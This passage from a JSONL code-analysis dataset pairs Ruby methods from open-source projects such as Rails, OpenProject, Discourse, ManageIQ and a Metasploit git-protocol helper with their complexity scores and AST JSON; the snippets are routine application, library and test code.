end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"mattr_accessor\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"syms\"]},{\"type\":\"kwoptarg\",\"children\":[\"instance_reader\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"instance_writer\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"instance_accessor\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"default\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"blk\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"location\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"caller_locations\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"mattr_reader\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"syms\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_reader\"]},{\"type\":\"lvar\",\"children\":[\"instance_reader\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_accessor\"]},{\"type\":\"lvar\",\"children\":[\"instance_accessor\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"lvar\",\"children\":[\"default\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"location\"]},{\"type\":\"lvar\",\"children\":[\"location\"]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blk\"]}]}]},{\"type\":\"send\",\"children\":[null,\"mattr_writer\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"syms\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_writer\"]},{\"type\":\"lvar\",\"children\":[\"instance_writer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_accessor\"]},{\"type\":\"lvar\",\"children\":[\"instance_accessor\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"lvar\",\"children\":[\"default\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"location\"]},{\"type\":\"lvar\",\"children\":[\"location\"]}]}]}]}]}]}","id":"1ee893de-6461-4c8e-8eee-c083255275c0"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/spec/support/pages/meetings/show.rb","start_line":207,"raw_source":"def expect_agenda_author(name)\n      expect(page).to have_test_selector(\"op-principal\", text: name)\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_agenda_author\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_test_selector\",{\"type\":\"str\",\"children\":[\"op-principal\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}]}","id":"15f843ba-ef51-49a7-b808-79aedee17644"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/components/gantt.rb","start_line":121,"raw_source":"def add_lines(new_lines)\n      new_lines.each { |line| add_line(line[0], line[1], line[2], line[3]) }\n    end","complexity_score":9.43,"ast_json":"{\"type\":\"def\",\"children\":[\"add_lines\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_lines\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_lines\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"send\",\"children\":[null,\"add_line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]}]}]}]}","id":"9a73e3a3-2b22-43f9-aa6e-af99f8b8ee78"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/token_manager.rb","start_line":29,"raw_source":"def reset_token(token)\n    token_data = token_store.read(token)\n    return {} if token_data.nil?\n\n    ttl = token_data[:token_ttl]\n    token_data[:expires_on] = Time.now.utc + ttl\n    token_store.write(token,\n                      token_data,\n                      :expires_in => ttl)\n  end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"reset_token\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"token_data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"token_store\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"token\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token_data\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"ttl\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"token_ttl\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token_data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"expires_on\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"ttl\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"token_store\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"token\"]},{\"type\":\"lvar\",\"children\":[\"token_data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_in\"]},{\"type\":\"lvar\",\"children\":[\"ttl\"]}]}]}]}]}]}","id":"c9319e1d-948e-4d9a-86f4-0d2a7c61615c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/git/smart_http.rb","start_line":124,"raw_source":"def send_receive_pack_request(git_uri, ref, objects, branch_tip = '')\n    packfile = Packfile.new(nil, objects)\n    pkt_line = build_pkt_line_receive_pack(ref, objects, branch_tip)\n    data = pkt_line + packfile.data\n\n    request_params =\n    {\n      'method' => 'POST',\n      'uri' => normalize_uri(git_uri, 'git-receive-pack'),\n      'authorization' => basic_auth(git_user, git_pass),\n      'agent' => @git_agent,\n      'ctype'  =>  'application/x-git-receive-pack-request',\n      'headers' => { 'Accept' =>  'application/x-git-receive-pack-result' },\n      'data' => data\n    }\n\n    send_request_cgi(request_params)\n  end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"send_receive_pack_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"git_uri\"]},{\"type\":\"arg\",\"children\":[\"ref\"]},{\"type\":\"arg\",\"children\":[\"objects\"]},{\"type\":\"optarg\",\"children\":[\"branch_tip\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"packfile\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packfile\"]},\"new\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"objects\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pkt_line\",{\"type\":\"send\",\"children\":[null,\"build_pkt_line_receive_pack\",{\"type\":\"lvar\",\"children\":[\"ref\"]},{\"type\":\"lvar\",\"children\":[\"objects\"]},{\"type\":\"lvar\",\"children\":[\"branch_tip\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt_line\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packfile\"]},\"data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"request_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"git_uri\"]},{\"type\":\"str\",\"children\":[\"git-receive-pack\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"authorization\"]},{\"type\":\"send\",\"children\":[null,\"basic_auth\",{\"type\":\"send\",\"children\":[null,\"git_user\"]},{\"type\":\"send\",\"children\":[null,\"git_pass\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"agent\"]},{\"type\":\"ivar\",\"children\":[\"@git_agent\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/x-git-receive-pack-request\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Accept\"]},{\"type\":\"str\",\"children\":[\"application/x-git-receive-pack-result\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"lvar\",\"children\":[\"request_params\"]}]}]}]}","id":"c6e0bfe5-9097-4759-b0c4-f5691c711f29"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/imports/create.rb","start_line":68,"raw_source":"def update_import_points_count(import)\n    Import::UpdatePointsCountJob.perform_later(import.id)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_import_points_count\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"import\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Import\"]},\"UpdatePointsCountJob\"]},\"perform_later\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import\"]},\"id\"]}]}]}","id":"236d8bb9-9ef7-4a55-8ea4-e7011a5814a7"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/cloud_tenant.rb","start_line":178,"raw_source":"def self.post_refresh_ems(ems_id, _)\n    ems = ExtManagementSystem.find(ems_id)\n\n    MiqQueue.put_unless_exists(\n      :class_name  => ems.class.name,\n      :instance_id => ems_id,\n      :method_name => 'sync_cloud_tenants_with_tenants',\n      :zone        => ems.my_zone\n    ) if ems.supports?(:cloud_tenant_mapping)\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"post_refresh_ems\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ems_id\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ems\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExtManagementSystem\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"ems_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"supports?\",{\"type\":\"sym\",\"children\":[\"cloud_tenant_mapping\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqQueue\"]},\"put_unless_exists\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_id\"]},{\"type\":\"lvar\",\"children\":[\"ems_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method_name\"]},{\"type\":\"str\",\"children\":[\"sync_cloud_tenants_with_tenants\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"zone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"my_zone\"]}]}]}]},null]}]}]}","id":"8b61b9ed-5edd-4818-b2bb-aae09cfadfca"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/helper.rb","start_line":62,"raw_source":"def start(name, id, payload)\n      @payloads << payload\n      @logged << [payload[:sql].squish, payload[:name], payload[:binds]]\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"start\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"id\"]},{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@payloads\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logged\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sql\"]}]},\"squish\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"binds\"]}]}]}]}]}]}","id":"c58d884a-cfc7-48d9-90f9-486aed293ef7"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/controller/render_test.rb","start_line":30,"raw_source":"def nested_partial_with_form_builder\n      render partial: ActionView::Helpers::FormBuilder.new(:post, nil, view_context, {})\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"nested_partial_with_form_builder\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Helpers\"]},\"FormBuilder\"]},\"new\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"view_context\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}]}]}","id":"a9d84b65-f0a1-4cb9-a807-1b57da4b55ac"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/projects/exports/pdf_export/styles.rb","start_line":97,"raw_source":"def project_markdown_margins\n      resolve_margin(@styles.dig(:project, :markdown_margins))\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"project_markdown_margins\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"resolve_margin\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@styles\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"sym\",\"children\":[\"markdown_margins\"]}]}]}]}","id":"62e09f10-f5ff-45fa-adec-296b1dc3d3ae"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_customize_themes_config_area.rb","start_line":11,"raw_source":"def find_theme_card(theme)\n        find(\".theme-card.#{theme.name.parameterize}\")\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"find_theme_card\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"theme\"]}]},{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".theme-card.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"theme\"]},\"name\"]},\"parameterize\"]}]}]}]}]}","id":"cd5269f9-9556-440c-b9d3-a5a99521e728"}
{"repo_name":"ahoy","file_path":"./repos/ahoy/test/exclude_test.rb","start_line":32,"raw_source":"def test_exclude_method\n    calls = 0\n    exclude_method = lambda do |controller, request|\n      calls += 1\n      request.parameters[\"exclude\"] == \"t\"\n    end\n    with_options(exclude_method: exclude_method) do\n      get products_url, params: {\"exclude\" => \"t\"}\n      assert_equal 0, Ahoy::Visit.count\n      assert_equal 1, calls\n      get products_url\n      assert_equal 1, Ahoy::Visit.count\n      assert_equal 2, calls\n    end\n  end","complexity_score":26.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_exclude_method\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"calls\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"exclude_method\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"controller\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"calls\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"parameters\"]},\"[]\",{\"type\":\"str\",\"children\":[\"exclude\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"t\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exclude_method\"]},{\"type\":\"lvar\",\"children\":[\"exclude_method\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[null,\"products_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"exclude\"]},{\"type\":\"str\",\"children\":[\"t\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ahoy\"]},\"Visit\"]},\"count\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"lvar\",\"children\":[\"calls\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[null,\"products_url\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ahoy\"]},\"Visit\"]},\"count\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"lvar\",\"children\":[\"calls\"]}]}]}]}]}]}","id":"e0eaf1df-a838-4a9e-9cf5-1d51dc693417"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/instagram/base_send_service.rb","start_line":81,"raw_source":"def attachment_type(attachment)\n    return attachment.file_type if %w[image audio video file].include? attachment.file_type\n\n    'file'\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"attachment_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attachment\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"image\"]},{\"type\":\"str\",\"children\":[\"audio\"]},{\"type\":\"str\",\"children\":[\"video\"]},{\"type\":\"str\",\"children\":[\"file\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"file_type\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"file_type\"]}]},null]},{\"type\":\"str\",\"children\":[\"file\"]}]}]}","id":"52322b6a-4855-4197-9830-a7ea5d6f2b2a"}
{"repo_name":"haml","file_path":"./repos/haml/lib/haml/string_splitter.rb","start_line":68,"raw_source":"def shift_balanced_embexpr(tokens)\n          String.new.tap do |embedded|\n            embexpr_open = 1\n\n            until tokens.empty?\n              _, type, str = tokens.shift\n              case type\n              when :on_embexpr_beg\n                embexpr_open += 1\n              when :on_embexpr_end\n                embexpr_open -= 1\n                break if embexpr_open == 0\n              end\n\n              embedded << str\n            end\n          end\n        end","complexity_score":30.5,"ast_json":"{\"type\":\"def\",\"children\":[\"shift_balanced_embexpr\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tokens\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},\"new\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"embedded\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"embexpr_open\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"until\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tokens\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_\"]},{\"type\":\"lvasgn\",\"children\":[\"type\"]},{\"type\":\"lvasgn\",\"children\":[\"str\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tokens\"]},\"shift\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_embexpr_beg\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"embexpr_open\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_embexpr_end\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"embexpr_open\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"embexpr_open\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"break\",\"children\":[]},null]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"embedded\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"str\"]}]}]}]}]}]}]}","id":"3d6a0e21-4bb3-4b43-a208-0a0a7f6d3a88"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/endpoints/hugging_face.rb","start_line":32,"raw_source":"def model_uri\n          URI(llm_model.url)\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"model_uri\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"llm_model\"]},\"url\"]}]}]}","id":"cfd0f728-14f1-480e-ae2b-1ac0d5e91b69"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/dialects/ollama.rb","start_line":39,"raw_source":"def tool_call_msg(msg)\n          if enable_native_tool?\n            tools_dialect.from_raw_tool_call(msg)\n          else\n            super\n          end\n        end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"tool_call_msg\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enable_native_tool?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tools_dialect\"]},\"from_raw_tool_call\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"670465b4-9189-4cd3-bd2a-48a7f9cba8d0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/parsers/codequality/code_climate.rb","start_line":8,"raw_source":"def parse!(json_data, codequality_report, metadata = {})\n            root = Gitlab::Json.parse(json_data)\n\n            parse_all(root, codequality_report, metadata)\n          rescue JSON::ParserError => e\n            codequality_report.set_error_message(\"JSON parsing failed: #{e}\")\n          end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"parse!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"json_data\"]},{\"type\":\"arg\",\"children\":[\"codequality_report\"]},{\"type\":\"optarg\",\"children\":[\"metadata\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"root\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Json\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"json_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"parse_all\",{\"type\":\"lvar\",\"children\":[\"root\"]},{\"type\":\"lvar\",\"children\":[\"codequality_report\"]},{\"type\":\"lvar\",\"children\":[\"metadata\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"ParserError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"codequality_report\"]},\"set_error_message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"JSON parsing failed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]}","id":"c6990711-9398-468d-825a-27039875bd8b"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/sinatra-contrib/spec/reloader_spec.rb","start_line":261,"raw_source":"def self.registered(klass)\n          klass.get('/bar') { 'bar' }\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"registered\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"get\",{\"type\":\"str\",\"children\":[\"/bar\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"bar\"]}]}]}","id":"96da29cf-8afe-4cc4-b323-918066ef7f06"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/services/spree/products/duplicator.rb","start_line":54,"raw_source":"def duplicate_variant(variant, include_images)\n        new_variant = variant.dup\n        new_variant.sku = sku_generator(new_variant.sku)\n        new_variant.deleted_at = nil\n        new_variant.option_values = variant.option_values.map { |option_value| option_value }\n        new_variant.prices = duplicate_prices(variant.prices)\n        new_variant.stock_items = duplicate_stock_items(variant.stock_items)\n\n        variant.images.each { |image| duplicate_image(image, new_variant) } if include_images\n\n        new_variant\n      